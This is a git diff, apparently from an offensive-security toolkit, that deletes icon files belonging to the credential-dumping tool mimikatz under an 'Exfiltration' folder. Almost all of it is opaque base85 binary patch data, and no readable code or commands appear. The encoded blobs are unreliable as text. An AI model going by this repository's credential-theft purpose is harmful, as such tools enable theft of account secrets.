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 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico deleted file mode 100644 index 7497143b370e05930ecbec4f39f719ebcb0df67a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 15086 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 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit_16.ico deleted file mode 100644 index 07df30ff8bd591f211e9634efcef12a1f1aeb8c5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1150 zcmaJ=3rv$&82xn*+W%JuQ5-H)H_aI97_H?|S_LwJZcNz#XC#9SrfY=gq!AZQ4Xz6a z3Je(Ip#wWoDlLz-3i9Y+Kyl+usig#1ajhUQBE+g$gk{;;WlI;cZ2NA`{c_L!&bc@D zK~ZZ+b919e{{of#Bt>naD9W3FP=xu5C+W}Fz);jG{x2As%@Ay5XxfLNSt5qbdYy~~ zg!Ez<#*^Twf78=!7uR((`$NX<*+#Y}=Qh2~f05q8yH9WSen7i>E;7uzTg0n_c%2{~ zFB3fRxX;E7TOwUH^JbZy(O54^0Lw29EdD{z0dZjXv0z>a1M|G^va9>Xd^YRp7g;Qq zwN8CN{Kp?`lcukDS12GbG(q&e9$a-TyfRARkthcfDTS*z1?zVuU{k<5CJtZZ;nY5N z=$MStUW47^1_YYBAQ<@;!Vx`!$2+n2rylGb@4-&xHMk{Z!8PVIo)I6#j&fM^J$p9`9$uJv=vjG4>+GZi3V{ ziI-#**dBGfJ4##LDl%V#s9y`A?h5>6S$OM`7M0TvaqgxazS$SSNlS;XMum{>Hb}-t zkiKZe=|Lm5Mx~BQR2R>Nj5Z)*r~!f|4fvUPh*hUSH-)N|MMz3jhSfVfQdS_@NAyvaF8E)sh4&|C5nign<*B<+PCF3)O&f$~ zvhjva3+b&y(dW32;2vb+%U9#_EmO)&Y zx8iHZEHsanaMIA%%scYg-|yGybK!D%@XG#hS7{wH)md&98it32kJm4gA804U aD!SHCl$_-M3OSkRBCr!UNbRx&D_0^U-wACUILJX6HS!GbfDz;jxKm}^;gF00KWfEl;5l}$} zHOzr9&k0HxG(a#x29ZHT5vtf)2HVxi_rD!{UCY(=YHbhePi}7R-QV74@3YSh48}D2 zTe_5?cxB|wWiS>p7z_;(only!6z6{*^HmuPh5qSKRaKo%nnhBKxh^jH_X7j1CfwXO z6Fxp>6TZHjad-Cx<3T~T<2!e1KAbUwvGJd>e!q`63Z@$AZB>=oAE>G*vq@Z%jZ7B# z6L1baJ(~dpk^<1%yMf-%ptI8gdU}jsUU_A@Gu=D;cY81MPS;N(%^_)!tcmNPrmAvW zZO;5G)p>8%sJ*eINoBrzOKR%g-y{-ybOht$ z-c#(Mp`92V^~9b%3*hHxiQr&6a5%GIYRZ7FF5?#!6%}u?Ye7;cDU+uCnIE&2m0o#O zO^x~5!o@kW)!CEE%eYWpZUtqHb(qbx$7~&YsIVMRSbTu^hanUy=KM4%20lKsprgZp zx3>~vW0~Xw1KQeC{19T=link}Fdv$1?!5U+bOp2CS&f;?EHHEVIw-Lmq0DxK5_>C@ zjdo(To+FYke1zs^dxVFZAtvS!Iy(Fj6vTm@-5dDsyBPYs6>HWouxQb=pH-A+nJ6nM zEm2ibQU0^I73WQCws96{*>tHGeuQ}r9$4%h1&uS8z|Q1@lamKlViw-@PsBo(K!~mc zQOpr&X)&FO+1#9gEn5~)4mMz9q=tO+!rHYIKXW=%U!B7z^VTn7Yng7|@tW!Oi6vpD z!4_A+>ay_q*fB zk=L+l)eLOiI&F&Y?QH|O+!r1mZ~m&H!q`SWO#h=FT6+RK-#!uombi$RS73BQ1VdR3 